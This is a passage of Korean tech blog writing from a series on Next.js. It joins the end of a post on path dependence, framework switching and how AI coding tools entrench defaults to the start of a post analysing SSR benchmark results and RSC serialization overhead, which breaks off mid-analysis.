Docker, Kubernetes, AWS ECS 등에서 Next.js를 자체 운영하는 팀은 적지 않다. Next.js의 주간 900만 다운로드와 Vercel의 유료 사용자 규모 사이 격차를 생각하면, 상당수가 Vercel 밖에서 Next.js를 돌리고 있다는 추정은 무리가 아니다.

이들이 Next.js를 선택한 이유는 Vercel 플랫폼이 아니라 Next.js 생태계 자체다. "React로 풀스택을 하려면 사실상 Next.js"라는 인식, 채용 시장에서 Next.js 경험자를 구하기 쉽다는 현실, Stack Overflow와 블로그에 쌓인 방대한 트러블슈팅 자산. 경로 의존성의 세 층위 중 '인프라 결합'은 이들에게 처음부터 없다. 대신 '학습 투자'와 '생태계 의존'이 잠금의 전부이고, 그것만으로도 충분히 강력하다.

문제는 Next.js의 DX가 Vercel 배포를 암묵적 전제로 설계된 부분들이 자체 인프라에서는 그대로 마찰이 된다는 점이다. `next/image`는 기본적으로 Vercel의 이미지 최적화를 사용하므로 자체 호스팅 시 별도 로더를 설정해야 하고, ISR 캐시 무효화는 `cacheHandler`를 직접 구현해야 한다. `output: 'standalone'` 모드에서는 정적 파일 서빙과 CDN 업로드를 수동으로 구성해야 하며, 공식 문서의 "Self-Hosting" 페이지가 존재하긴 하지만 프로덕션 운영의 엣지 케이스는 대부분 GitHub 이슈와 커뮤니티 블로그에 흩어져 있다.

**이탈 트리거는 이런 운영 고통의 누적이다.** `minimalMode`에 접근할 수 없어 Middleware가 서버 프로세스 안에서 실행되고, 빌드 출력물의 구조가 메이저 버전마다 바뀌며, 캐싱 없는 고부하 환경에서 OOMKilled와 레이턴시 급증을 경험한다. 한 번의 큰 사건이 아니라 매일의 작은 마찰이 쌓이는 과정이다.

[Northflank](https://northflank.com/blog/why-we-ditched-next-js-and-never-looked-back)가 대표적 사례다. 인프라 회사인 Northflank는 Next.js App Router에서 Remix로 전환하면서 "매일 겪는 고통"을 이유로 들었다. 특정 벤치마크나 보안 사고가 아니라, 프레임워크와 매일 싸우는 마찰이 임계치를 넘은 것이다.

이 그룹은 Vercel 플랫폼과 이미 분리되어 있으므로 인프라를 다시 구축할 필요가 없다. 전환 장벽은 학습 투자와 서드파티 생태계 의존뿐이다. 그래서 대안을 가장 먼저 검토할 가능성이 높은 것도 이들이다.

정리하면, 팀의 성격에 따라 이탈 순서가 다르다.

- **고부하 동적 SSR 앱** (자체 인프라): 가장 먼저 대안을 검토할 가능성이 높다. 캐싱 없는 SSR 성능 문제가 직접적으로 체감된다.
- **플랫폼/인프라 기업**: non-Vercel 운영 비용에 민감하므로 이탈 동기가 강하다.
- **콘텐츠/마케팅 사이트**: ISR과 정적 생성의 이점이 크므로 계속 Next.js에 머물 가능성이 높다.
- **대규모 채용 조직**: "Next.js 경험"이 채용 공고의 표준 요건인 상황에서, 프레임워크를 바꾸면 채용 풀이 줄어든다. 이 조직적 마찰이 기술적 판단을 압도하므로 마지막까지 기본값을 유지할 가능성이 높다.

### 공통 이탈 요인: 불신의 누적

두 그룹 모두에게 작동하는 요인이 있다. **신뢰의 점진적 침식** 이다.

- Server Components의 테스팅 전략이 3년째 부재하다 ([Testing Library #1209](https://github.com/testing-library/react-testing-library/issues/1209))
- `"use cache"`가 React 스펙 없이 Next.js 단독 기능으로 도입되었다
- 세그먼트별 프리페치가 비용 영향을 충분히 고지하지 않은 채 배포되었다

여기에 Next.js 내부의 마이그레이션 비용도 있다. 많은 팀이 Pages Router에서 App Router로 이동하는 과정 자체에서 이미 큰 피로를 겪고 있고, 이 경험은 프레임워크 외부로의 전환 불신과도 연결된다.

이 각각은 개별적으로 프레임워크를 버릴 이유가 되지 않는다. 하지만 누적되면 "이 프레임워크가 내 이익을 대변하는가?"라는 근본적 의문으로 이어진다. [4편](/2026/03/is-nextjs-fast-enough)의 벤치마크 데이터는 이 맥락에서 읽어야 한다. 성능 격차 자체가 이탈의 직접 원인이라기보다, **이미 축적된 불신에 객관적 근거를 부여하는 역할** 을 한다. "느낌적으로 불편했는데 데이터로도 확인되었다"는 순간이 전환을 고려하기 시작하는 시점이다.

## 대안의 성숙이란 무엇인가

이탈의 조건이 갖춰져도, 갈 곳이 없으면 떠나지 못한다. 그런데 "갈 곳이 있다"의 기준은 기술적 완성도가 아니다.

### 기술적 선택지는 충분히 생겨났다

2026년 3월 현재, React SSR 프레임워크의 대안은 "검토 불가능한 실험작" 수준을 벗어났다. 다만 기술적 가능성과 조직적 안전성은 별개다.

**TanStack Start**는 React 19 위에서 RSC 없이 Vite 기반 SSR을 제공한다. Platformatic 벤치마크에서 Next.js 대비 30배 이상 빠른 SSR 처리량을 기록했다. **React Router v7**은 Remix의 후속으로 Shopify가 후원하며, Hydrogen에서 프로덕션 검증을 마쳤다. **Remix 3**는 React 외부의 렌더링 레이어를 탐색하고 있지만[^7] 아직 방향 전환 초기다. **Astro**는 콘텐츠 중심 Islands Architecture로 4.x 안정 릴리스에 도달했고, 문서 사이트와 블로그에서 강세를 보인다.

기술적으로 "Next.js가 아니면 안 되는" 시나리오는 점점 줄고 있다. RSC를 전제로 하지 않는 구조 덕분에, TanStack Start나 React Router v7은 특정 SSR 시나리오에서 더 단순한 실행 모델을 제공한다. 물론 런타임 구조만으로 프레임워크를 선택하지는 않는다. 문서, 채용 시장, 서드파티 통합, 트러블슈팅 자산까지 포함하면 Next.js의 우위는 여전히 크다.

### 하지만 사회적 정당성은 아직이다

프레임워크 전환은 기술적 결정인 동시에 사회적 결정이다. 팀원들을 설득해야 하고, 채용 공고를 다시 써야 하며, "왜 Next.js 안 써요?"라는 질문에 답해야 한다.

**채용 시장이 가장 강력한 잠금 장치다.** 프론트엔드 채용 공고에서 "Next.js 경험"은 거의 표준 요건이 되었다. TanStack Start 경험을 요구하는 공고는 사실상 없다. 팀이 Next.js를 떠나면 채용 풀이 줄어든다. 이것은 기술적 판단이 아니라 조직 운영의 문제다.

**서드파티 지원도 마찬가지다.** Vercel의 통합 마켓플레이스에 등록된 서비스들이 TanStack Start용 공식 SDK를 제공하기 시작하려면, TanStack Start의 시장 점유율이 서드파티 기업의 투자를 정당화할 수준에 도달해야 한다. 이것은 닭과 달걀 문제다 — 사용자가 없어서 통합이 없고, 통합이 없어서 사용자가 모이지 않는다.

### 전환점은 언제 오는가

jQuery에서 React로의 전환은 jQuery가 망해서가 아니라, React가 조직적으로 설명 가능한 선택이 되었을 때 일어났다. Angular 1에서 React로의 이동도 Angular가 끔찍해서가 아니라, React를 채용 공고에 쓸 수 있게 되었을 때 가속화되었다.

대안의 성숙은 "더 나은 기술이 나왔다"가 아니라 "그것을 선택해도 이상하지 않게 되었다"의 문제다. 신호는 이런 것들이다. 주요 기업의 채용 공고에 "React Router v7 / TanStack Start 경험 우대"가 등장하는 것. Sanity, Clerk 같은 서드파티가 Next.js용과 동등한 수준의 대안 프레임워크 SDK를 출시하는 것. 팀이 Next.js 대신 다른 프레임워크를 골랐을 때 "왜요?"라는 질문 자체가 사라지는 것.

2026년 3월 현재, 이 중 어느 것도 일어나지 않았다. TanStack Start 경험을 요구하는 채용 공고는 사실상 없고, 주요 서드파티의 공식 SDK도 Next.js 우선이며, 프레임워크 선택에서 Next.js는 여전히 설명이 필요 없는 유일한 선택지다. 이것이 Next.js의 가장 강력한 방어선이다 — 기술이 아니라 사회적 관성.

다만 이런 전환은 보통 수개월이 아니라 수년 단위로 진행된다. 채용 시장과 서드파티 생태계의 관성은 기술 변화보다 훨씬 느리게 움직이기 때문이다.

## AI 시대의 역설

경로 의존성의 마지막 층위가 있다. 2026년에 새로 등장한 변수, AI다.

### AI는 기본값을 재생산한다

ChatGPT, Claude, GitHub Copilot — 현재의 주요 코딩 AI는 Next.js 코드를 가장 유창하게 생성한다. Next.js는 React 메타 프레임워크 중 가장 많은 텍스트 데이터(Stack Overflow 질문, GitHub 리포지토리, 블로그 포스트)를 생성해왔고, 이 데이터가 LLM의 학습 코퍼스에 포함되어 있을 가능성이 높다. LLM의 학습 데이터 구성은 공개되지 않으므로 확정할 수는 없지만, AI에게 프레임워크를 지정하지 않고 코드를 요청하면 높은 확률로 Next.js 코드가 나온다는 경험적 정황은 이를 뒷받침한다.

프레임워크의 AI 친화도가 개발 생산성에 직결되는 시대에, **AI는 Next.js의 경로 의존성을 강화하는 새로운 수확 체증(increasing returns) 메커니즘이다.**

이 수확 체증은 반대편에서 보면 악순환이다. TanStack Start로 코드를 요청하면 AI는 학습 데이터 부족으로 부정확한 코드를 생성할 가능성이 높다. 개발자 경험이 나빠지면 채택이 느려지고, 채택이 느리면 블로그·Stack Overflow·GitHub에 데이터가 쌓이지 않으며, 데이터가 쌓이지 않으면 다음 세대 AI도 학습할 수 없다. 새로운 프레임워크가 이 루프에 진입하는 것 자체가 점점 어려워지는 구조다.

물론 이것이 영구적 잠금을 의미하지는 않는다. TanStack Start의 사용자가 늘고 생태계가 성숙하면 학습 데이터도 따라 쌓인다. 다만 그 격차가 좁혀지는 속도보다, Next.js 코퍼스가 확대되는 속도가 더 빠를 가능성이 높다는 것이 문제다. **"불가능"이 아니라 "더 오래 걸린다"** — AI는 전환의 방향이 아니라 전환의 속도에 영향을 미친다.

### 반대 방향도 있다 — 다만 제한적으로

같은 이유가 반대 방향으로도 작동할 수 있다. AI가 Next.js를 잘 이해한다는 것은, Next.js 코드를 다른 프레임워크로 번역하는 비용도 낮출 수 있다는 뜻이다. [2편](/2026/03/why-cloudflare-rebuilt-nextjs)의 vinext가 그 사례다. Cloudflare의 Igor Minar는 "Claude가 이 프로젝트의 대부분의 코드를 작성했다"고 밝혔다[^5]. 기존 테스트 스위트가 명세서 역할을 하고, AI가 코드를 작성하며, 테스트가 정확성을 검증하는 구조였다.

다만 vinext가 보여준 것은 "공개 API 표면의 재구현"이지, 임의의 프로덕션 앱을 자동으로 마이그레이션하는 것과는 다르다. Next.js의 복잡한 캐싱 전략(`revalidateTag`, `revalidatePath`의 중첩 의존), Middleware의 암묵적 실행 순서, Server Actions에서 클로저로 캡처되는 서버 상태 — 이런 패턴은 기계적 변환의 영역이 아니다. 사례 하나를 일반화하기엔 아직 이르다.

**AI가 새로운 잠금을 만드는 속도가, 기존 잠금을 허무는 속도보다 빠른가?** 현재로서는 전자가 우세하다. AI 코드 생성의 품질 차이는 일상적으로 체감되는 반면, AI 마이그레이션은 단순한 라우팅 변환을 넘어서면 여전히 사람의 개입이 필요하기 때문이다.

이 균형이 바뀌려면 AI 도구 자체의 변화가 필요하다. 학습 코퍼스에 의존하는 대신 공식 문서를 실시간으로 인덱싱하는 RAG 기반 코드 생성, 프레임워크 제작자가 AI용 컨텍스트를 표준적으로 제공하는 `llms.txt` 같은 시도가 이미 등장하고 있다. 이런 접근이 보편화되면 "코퍼스가 큰 쪽이 이기는" 구조는 약화될 수 있다. 다만 2026년 현재, 이 방향은 아직 초기이고 대부분의 개발자가 사용하는 AI 도구는 여전히 학습 데이터 편향 위에서 동작한다.

## 결론

### Next.js를 지탱하는 것

이 시리즈의 다섯 편을 관통하는 관찰을 정리하면 이렇다.

Next.js는 SSR 성능에서 같은 React 생태계의 다른 프레임워크에 뒤처지고 있고([4편](/2026/03/is-nextjs-fast-enough)), 배포는 Vercel에 비대칭적으로 최적화되어 있으며([2편](/2026/03/why-cloudflare-rebuilt-nextjs)), React의 기술 방향에 대한 Vercel의 영향력은 구조적 질문을 만들고([3편](/2026/03/react-is-whose)), 한때 핵심 셀링 포인트였던 Edge Runtime은 후퇴했다([1편](/2026/03/nextjs-edge-runtime-rise-and-fall)).

그런데도 Next.js가 기본값인 이유는 **런타임이 빨라서가 아니라, 바꾸는 비용이 높기 때문이다.** Next.js는 단지 많이 쓰이는 프레임워크가 아니다. React 최신 기능의 선행 진입점이고, Vercel 배포의 기준 경로이며, 서드파티가 우선 지원하는 대상이고, AI가 가장 잘 재생산하는 React 메타 프레임워크다. 이 네 가지가 겹치면서 Next.js는 "검토 대상"이 아니라 "출발점"이 되었다. 기본값의 힘은 강력하다. 적극적으로 반대할 이유가 없으면 사람들은 기본값을 선택한다.

### 관성은 언제 끊기는가

그 관성이 끊기는 것은 하나의 벤치마크나 하나의 스캔들이 아니다. 개발자가 매일 겪는 마찰의 누적이다.

- 서버-클라이언트 경계를 넘는 에러를 또 디버깅해야 할 때
- Server Components를 테스트하는 공식적 방법이 여전히 없을 때
- 프레임워크 업그레이드 후 예상치 못한 비용 청구서를 받을 때
- 캐싱 없이는 감당할 수 없는 부하를 경험할 때

이 마찰 하나하나는 견딜 만하다. 하지만 합이 임계치를 넘는 순간 — 그리고 대안이 사회적으로 정당해지는 순간 — 전환은 시작된다. 경로 의존성 이론에서 이것을 "잠금 해제(lock-in break)"라 부르며, 대체로 점진적이지 않고 비선형적으로 일어난다[^6]. 오랫동안 변하지 않다가, 어느 순간 급격히 전환된다.

다만 AI의 기본값 재생산 효과를 고려하면, 그 "어느 순간"은 이전 세대의 프레임워크 전환보다 늦게 올 가능성이 크다. jQuery에서 React로의 전환은 5~6년이 걸렸다. Next.js에서의 전환은 AI 잠금 효과까지 더해져 그보다 더 길어질 수 있다.

가장 가능성 높은 시나리오는 하나의 프레임워크가 Next.js를 대체하는 것이 아니라, **용도별 분화** 다. 콘텐츠 중심 사이트는 Astro로, 고부하 동적 SSR은 TanStack Start나 React Router로, 엔터프라이즈와 대규모 팀 프로젝트는 여전히 Next.js로. "하나의 기본값" 시대가 끝나고, 요구사항에 따라 선택지가 갈리는 구조로 이행하는 것이다. TanStack Start, React Router v7, Remix 3가 모두 Vite 위에 있다는 점은 이 분화를 가속할 수 있는 요인이다 — 개별 프레임워크의 점유율은 작아도, "Vite 기반 React SSR"이라는 카테고리 전체로 보면 의미 있는 대안이 된다.

물론 Vercel도 가만히 있지 않는다. Next.js 16의 `proxy` 모드, Turbopack 안정화 등은 자체 인프라 사용자의 마찰을 줄이려는 시도다. 이 개선 속도가 불만 누적 속도를 앞지르면, 분화의 시점은 상당히 뒤로 밀릴 수도 있다.

### 세 가지 조건에 따른 판단

이 시리즈를 읽은 독자가 "그래서 나는 어떻게 해야 하는가"를 묻는다면, 조건에 따라 다르게 답하겠다.

**Vercel에 배포하고 있고, 팀에 유의미한 불만이 없다면** — 바꿀 이유가 없다. Vercel 위의 Next.js는 여전히 가장 매끄러운 풀스택 개발·배포 경험을 제공한다. 경로 의존성은 비용이면서 동시에 자산이다. 축적된 지식과 인프라 결합이 생산성을 높이고 있다면, 그것은 잠금이 아니라 투자의 회수다.

**자체 인프라에서 운영하면서 동적 SSR 비중이 높다면** — 대안을 검토할 시점이다. [4편](/2026/03/is-nextjs-fast-enough)의 벤치마크가 보여주듯, 캐싱 없는 SSR 환경에서 Next.js의 기저 성능은 구조적으로 불리하다. TanStack Start나 React Router v7을 파일럿으로 검토해볼 가치가 있다. 같은 React 19 위에서 동작하므로 기존 컴포넌트 자산을 상당 부분 재사용할 수 있다.

**새 프로젝트를 시작한다면** — "기본값이니까 Next.js"는 더 이상 충분한 근거가 아니다. 프로젝트의 요구사항을 먼저 정의하고 — 정적 생성 비율, SSR 부하 예상치, 배포 환경, 팀의 기존 경험 — 그에 맞는 프레임워크를 선택해야 한다. 2026년에 React로 풀스택 웹앱을 만드는 선택지는 Next.js만이 아니다.

### 마지막으로

이 시리즈는 Next.js의 종말을 선언하려고 쓴 것이 아니다. Next.js는 여전히 기본값으로 기능하고 있고, 앞으로도 상당 기간 가장 많이 사용되는 React 메타 프레임워크일 것이다.

다만, "왜 Next.js를 쓰는가?"라는 질문에 대한 정직한 대답이 점점 **"이미 쓰고 있으니까"** 에 가까워지고 있다는 것은 인지해야 한다. 그 자체가 나쁜 것은 아니다 — 전환 비용이 실재하고, 기존 선택을 유지하는 것이 합리적인 경우는 많다. 하지만 관성과 의도적 선택은 다르다. **자신이 Next.js를 "선택한" 것인지, 아니면 경로 의존성이 선택을 "대신한" 것인지를 구분할 수 있어야 한다.**

프레임워크를 계속 쓰는 것보다 위험한 것은, 왜 계속 쓰는지 점검하지 않는 것이다.

## 참고

- [State of JavaScript 2025 — Meta-frameworks](https://2025.stateofjs.com/en-US/libraries/meta-frameworks/)
- [State of React 2024](https://2024.stateofreact.com/en-US)
- [Northflank — Why we ditched Next.js and never looked back](https://northflank.com/blog/why-we-ditched-next-js-and-never-looked-back)
- [Vercel — Supporting the future of React](https://vercel.com/blog/supporting-the-future-of-react)
- [Cloudflare — vinext](https://github.com/cloudflare/vinext)
- [Platformatic — React SSR Framework Showdown](https://blog.platformatic.dev/react-ssr-framework-benchmark-tanstack-start-react-router-nextjs)
- [TanStack Blog — 5x SSR Throughput](https://tanstack.com/blog/tanstack-start-5x-ssr-throughput)
- [Next.js 16.2 릴리스 블로그](https://nextjs.org/blog/next-16-2)
- [React Foundation](https://react.dev/blog/2026/02/24/the-react-foundation)
- [GitHub Issue #85470 — Server requests and latency increased after upgrading from Next.js 15 to 16](https://github.com/vercel/next.js/issues/85470)
- [Paul David — Path Dependence (Stanford Encyclopedia of Philosophy)](https://plato.stanford.edu/entries/path-dependence/)

[^1]: npm trends 2026년 3월 기준. `next` 주간 다운로드 약 900만, `nuxt` 약 200만, `astro` 약 90만, `@tanstack/react-router` 약 70만, `@remix-run/react` 약 50만.

[^2]: Stack Overflow에서 `[next.js]` 태그가 달린 질문 수. 정확한 수치는 시점에 따라 달라지며, 방향성의 근거로 제시한다.

[^3]: [vercel/next.js/examples](https://github.com/vercel/next.js/tree/canary/examples) 디렉토리 기준.

[^4]: Paul David, "Clio and the Economics of QWERTY" (1985). 경로 의존성 개념의 고전적 논문.

[^5]: Igor Minar의 발언으로 알려진 문구. [제3자 인용 트윗](https://x.com/AustinPlays0/status/1894504792392745365)을 통해 확인되며, 원본 게시물은 직접 확인되지 않았다.

[^6]: Brian Arthur, "Increasing Returns and Path Dependence in the Economy" (1994). 기술 잠금의 비선형적 해제에 대한 이론적 프레임워크.

[^7]: Remix 3의 구체적인 렌더링 레이어 방향(Preact 포크 등)은 커뮤니티에서 논의되고 있으나, 2026년 3월 기준 공식 블로그나 릴리스 노트를 통해 확정된 사항은 아니다.

---

Source: https://yceffort.kr/2026/03/is-nextjs-fast-enough.md
Title: <em>Next.js</em>의 성능은 충분히 빠른가
Description: 벤치마크가 말해주는 불편한 진실
Date: 2026-03-21
Tags: nextjs, web-performance, react, ssr, benchmark
Series: Next.js의 현주소

## Table of Contents

## 서론

[이 시리즈](/2026/03/nextjs-edge-runtime-rise-and-fall)에서 지금까지 다뤘던 이야기를 정리하면 이렇다. Edge Runtime은 후퇴했고, Cloudflare는 Next.js를 직접 재구현하기 시작했으며, React의 거버넌스는 흔들리고 있다. 이번 글에서는 더 근본적인 질문을 던져본다. Next.js는 충분히 빠른가?

미리 말해두자면, 이 글의 결론은 "현재 시점에서 Next.js의 SSR 성능은 같은 React 생태계의 다른 프레임워크에 비해 뒤처진다"는 쪽이다. 하지만 그 결론을 먼저 믿고 근거를 끼워 맞추는 것이 아니라, 2026년 3월에 공개된 벤치마크 데이터를 하나씩 검토하면서 어디까지가 사실이고 어디서부터가 해석인지를 구분해 보려 한다. 데이터에 한계가 있는 곳은 그 한계도 함께 짚는다.

## Platformatic의 SSR 프레임워크 대결

2026년 3월 17일, Node.js TSC 멤버이자 Fastify 창시자인 Matteo Collina가 이끄는 [Platformatic](https://platformatic.dev/)이 [React SSR Framework Showdown](https://blog.platformatic.dev/react-ssr-framework-benchmark-tanstack-start-react-router-nextjs)이라는 벤치마크를 공개했다. 이 벤치마크가 주목할 만한 이유는 방법론의 공정성에 있다.

### 테스트 설계

동일한 이커머스 앱(카드 거래 마켓플레이스)을 세 프레임워크로 구현했다:

- **TanStack Start** (v1.157.16) — Vite 기반 SSR, `createFileRoute` + `loader`
- **React Router** (v7) — Route 모듈 + `loader` export
- **Next.js** (v15.5.5 → v16.2.0-canary.66) — App Router + Server Components

앱의 데이터 모델은 상당히 현실적이다. 5개 게임(포켓몬, MTG, 유희왕, 디지몬, 원피스), 50개 카드 세트(게임당 10개), 10,000개 카드(세트당 200개), 100명의 판매자, 50,000개 리스팅으로 구성되어 있다. 모든 프레임워크가 동일한 JSON 데이터를 사용하고, 1-5ms의 랜덤 지연을 추가해 실제 DB 레이턴시를 시뮬레이션했다. 부하 테스트 중에는 홈페이지, 검색, 게임 상세, 카드 상세, 판매자 목록 등의 라우트에 실제 이커머스 트래픽 비율을 반영한 분배를 적용했다.

인프라는 AWS EKS(m5.2xlarge 4노드, 노드당 8vCPU/32GB), 부하 테스트 도구는 Grafana k6, 테스트 머신은 c7gn.2xlarge(네트워크 최적화), 목표 부하는 **1,000 req/s**였다. 런타임은 두 가지로 테스트했는데, Node.js 단독(6 pod × 1 CPU)과 Platformatic Watt(3 pod × 2 CPU, `SO_REUSEPORT` 활용)으로, 총 CPU 할당량(6코어)은 동일하게 맞췄다.

그리고 중요한 설계 결정이 있다. **캐싱을 사용하지 않았다.** 이커머스에서 개인화와 A/B 테스트를 적극 운영하는 환경에서는 개별 사용자 뷰의 겹침이 5% 미만인 경우가 많아, 캐시 적중이 무효화 오버헤드 대비 이점이 거의 없기 때문이다. 캐싱 없는 순수 SSR 성능을 측정하는 것이 현실적이라는 판단이었다.

### 결과: Next.js 15의 참패

Next.js 15.5.5의 초기 결과는 충격적이었다.

| 지표          | TanStack Start | React Router | Next.js 15          |
| ------------- | -------------- | ------------ | ------------------- |
| 평균 응답시간 | 12.79ms        | 17ms         | 8,000~11,000ms      |
| 성공률        | 100%           | 100%         | ~60%                |
| p95 레이턴시  | < 50ms         | < 100ms      | 10,001ms (타임아웃) |

Next.js는 1,000 req/s를 감당하지 못했다. 응답시간이 평균 8~11초에 달했고, 요청의 약 40%가 10초 타임아웃에 걸려 실패했다. p95 레이턴시가 정확히 10,001ms인 것은 우연이 아니다 — 요청들이 타임아웃 한계에 부딪힌 것이다. TanStack Start와 React Router가 모든 요청을 밀리초 단위로 처리하는 동안, Next.js는 말 그대로 익사(drowning) 상태였다.

여기서 "성공"의 정의도 엄격했다. 10초 타임아웃 내에 HTTP 200을 반환하는 것이 기준이었다. 실제 프로덕션에서 사용자가 10초를 기다릴 리 없으니, 체감 성공률은 이보다 더 낮았을 것이다.

### Next.js 16 canary로의 개선

Platformatic 팀은 벤치마크 데이터와 [@platformatic/flame](https://github.com/platformatic/flame)으로 생성한 flamegraph를 Next.js 팀과 공유했다. Next.js의 Tim Neutkens는 flamegraph에서 `initializeModelChunk`라는 함수가 병목인 것을 발견했다. 이 부분은 뒤에서 자세히 다룬다.

수정이 반영된 Next.js 16.2.0-canary.66으로 재측정했다.

| 지표            | Next.js 15 (Watt) | Next.js 16 canary (Watt) | 개선율    |
| --------------- | ----------------- | ------------------------ | --------- |
| throughput      | 322 req/s         | 701 req/s                | **2.2배** |
| 평균 레이턴시   | 8,000~11,000ms    | —                        | —         |
| 중앙값 레이턴시 | —                 | 431ms                    | —         |
| 성공률          | ~60%              | ~64%                     | 소폭 개선 |
| 레이턴시 감소   | —                 | —                        | **83%**   |

Throughput은 2배 이상 늘었고, 성공한 요청의 레이턴시는 83% 줄었다. 의미 있는 개선이다. 하지만 여전히 요청의 약 36%가 실패했고, TanStack Start(13ms, 100% 성공)와의 격차는 컸다.

Watt 런타임 기준 전체 순위를 정리하면 이렇다.

| 순위 | 프레임워크        | 평균 레이턴시  | 성공률 |
| ---- | ----------------- | -------------- | ------ |
| 1    | TanStack Start    | 12.79ms        | 100%   |
| 2    | React Router      | ~17ms          | 100%   |
| 3    | Next.js 16 canary | 431ms (중앙값) | ~64%   |

한 가지 유의할 점이 있다. Platformatic은 원문 상단에 "readers pointed out some inconsistencies in the code"라며 벤치마크 코드의 일부 불일치를 인정하고 결과 업데이트를 예고했다. 따라서 구체적인 수치보다는 프레임워크 간 상대적 격차의 방향성에 주목하는 것이 적절하다.

그럼에도 Platformatic의 핵심 결론은 명확했다.

> Framework Choice Matters More Than Runtime. The difference between TanStack Start and Next.js (3x throughput, 690x latency difference) far exceeds the difference between Watt and Node.js on the same framework.
>
> 프레임워크 선택이 런타임보다 중요하다. TanStack Start와 Next.js의 차이(throughput 3배, 레이턴시 690배)는 같은 프레임워크에서 런타임을 바꾸는 것(Watt vs Node.js)보다 훨씬 크다.

## 왜 느린가: Next.js App Router의 아키텍처적 무게

벤치마크 숫자만으로는 부족하다. **왜** 느린지를 이해해야 한다. Next.js App Router의 SSR 요청 처리 과정을 추적하면서 오버헤드가 어디서 발생하는지 분석해 보자.

### SSR 요청의 여정

Next.js App Router에서 하나의 SSR 요청이 처리되는 과정은 대략 이렇다:

```text
요청 수신
  → 라우트 매칭 (파일시스템 기반 라우팅)
  → 레이아웃 트리 구성 (layout.tsx 중첩 해석)
  → Server Component 실행
    → 데이터 페칭 (fetch 자동 중복 제거, 캐시 확인)
    → React Element 트리 생성
  → Flight 직렬화 (컴포넌트 트리 → RSC Payload)
  → HTML 렌더링 (renderToReadableStream)
  → 스트리밍 응답 전송
```

이 파이프라인 자체는 합리적이다. 문제는 각 단계에 숨어 있는 오버헤드의 총합이다.

### 오버헤드 1: Flight 프로토콜과 이중 데이터(Double Data) 문제

React Server Components는 서버에서 렌더링한 컴포넌트 트리를 클라이언트로 전달하기 위해 [Flight](https://github.com/facebook/react/tree/main/packages/react-server)라는 자체 직렬화 프로토콜을 사용한다. Flight는 라인 기반의 스트리밍 포맷으로, 각 라인이 `<chunkId>:<payloadMarker><serializedData>` 형태를 가진다.

예를 들어, 간단한 Server Component의 렌더링 결과가 이렇다면:

```jsx
// Server Component
export default async function Page() {
  const products = await getProducts()
  return (
    <main>
      <h1>Products</h1>
      <ProductList items={products} /> {/* Client Component */}
    </main>
  )
}
```

Next.js는 이 결과를 **두 가지 형태로 동시에** 전송한다:

1. **HTML** — 브라우저가 즉시 렌더링할 수 있는 마크업
2. **RSC Payload** — React가 클라이언트에서 Virtual DOM을 재구축하고 hydration을 수행하기 위한 데이터

HTML이 `<main><h1>Products</h1><div>...</div></main>` 형태라면, RSC Payload에는 같은 구조가 Flight 포맷으로 다시 한번 인코딩된다. 여기에 Client Component(`ProductList`)에 전달되는 `items` props까지 직렬화되어 포함된다.

이 이중 데이터 문제의 실제 영향은 상당하다:

- 커뮤니티 보고에 따르면, RSC payload가 전체 HTML 페이지 크기의 상당 부분을 차지하는 경우가 많다. 다만 이 비율은 앱의 구조와 데이터 양에 따라 크게 달라지므로, [Vercel의 RSC payload 최적화 가이드](https://vercel.com/kb/guide/how-to-optimize-rsc-payload-size)에서 제시하는 방법으로 직접 측정해보는 것이 정확하다
- [eknkc/ssr-benchmark](https://github.com/eknkc/ssr-benchmark)(2024년 측정, Next.js v14~15 기준)에서도 이 문제가 드러난다. Next.js App Router의 응답 크기는 **284.64KB**인 반면, 순수 React는 **97.28KB**, Remix는 **189.10KB**였다. 버전에 따라 절대 수치는 달라질 수 있지만, RSC 기반 프레임워크의 응답이 구조적으로 더 크다는 경향은 이중 데이터 아키텍처에서 비롯되므로 변하지 않는다

eknkc 벤치마크에서는 이 현상을 "데이터 중복 계수(duplication factor)"로 정량화했다. hydration이 필요한 프레임워크(Remix, SvelteKit 등)는 렌더링된 각 데이터 항목이 응답에서 두 번 관찰되는 **x2.00** 중복이 발생한다. HTML과 hydration 데이터라는 두 개의 서로 다른 포맷으로 같은 정보를 보내기 때문에, 중복이 눈에 잘 띄지 않을 뿐 대역폭에는 분명한 영향을 미친다. RSC 기반의 App Router는 여기에 Flight Payload까지 추가되므로 응답 크기가 더 커진다.

물론 Server Component 코드 자체는 클라이언트 번들에 포함되지 않으므로 JavaScript 번들 크기는 줄어든다. 하지만 그 대가로 RSC Payload라는 새로운 전송 비용이 생긴다. 번들 크기와 전송 크기는 별개의 문제다.

### 오버헤드 2: `initializeModelChunk`와 JSON.parse reviver

Platformatic의 flamegraph에서 가장 넓은 블록으로 드러난 병목이 바로 `initializeModelChunk`다. 이 함수는 서버에서 전송된 RSC Flight 청크를 JavaScript 객체로 역직렬화하는 역할을 한다. 그리고 이 함수의 핵심에 `JSON.parse(text, reviver)` 호출이 있었다.

문제를 이해하려면 V8이 `JSON.parse`를 어떻게 처리하는지 알아야 한다.

V8의 `JSON.parse`는 C++로 구현되어 있다([v8/src/json/json-parser.cc](https://github.com/v8/v8/blob/main/src/json/json-parser.cc)). reviver 없이 호출하면 C++ 내부에서 파싱이 완료되고, 최종 JavaScript 객체만 반환된다. C++↔JS 경계를 **한 번만** 넘는다.

하지만 reviver 콜백을 전달하면 상황이 완전히 달라진다. V8은 파싱된 JSON의 **모든 키-값 쌍에 대해** reviver 함수를 호출해야 한다. 매 호출마다 다음이 발생한다:

1. C++ 실행 컨텍스트에서 JavaScript 실행 컨텍스트로 전환
2. reviver 함수 호출
3. JavaScript 실행 컨텍스트에서 다시 C++ 실행 컨텍스트로 복귀

이 경계 교차(boundary crossing)의 비용은 reviver 함수가 무엇을 하는지와 무관하다. 아무것도 하지 않는 `(k, v) => v`조차 이 비용을 피할 수 없다. [React PR #35776](https://github.com/facebook/react/pull/35776)에서 제시된 벤치마크가 이를 명확히 보여준다.

| 페이로드 크기         | `JSON.parse(text)` | `JSON.parse(text, (k,v) => v)` | reviver 오버헤드 |
| --------------------- | ------------------ | ------------------------------ | ---------------- |
| 108KB (1000행 테이블) | 0.60ms             | 2.95ms                         | **391%**         |

108KB 페이로드에서 trivial reviver만 추가해도 파싱 시간이 **약 4배**로 뛴다. 그리고 RSC에서는 `initializeModelChunk`가 **모든 Server Component 청크마다** 호출되므로, 컴포넌트가 많고 props가 큰 페이지에서 이 오버헤드가 급격히 누적된다.

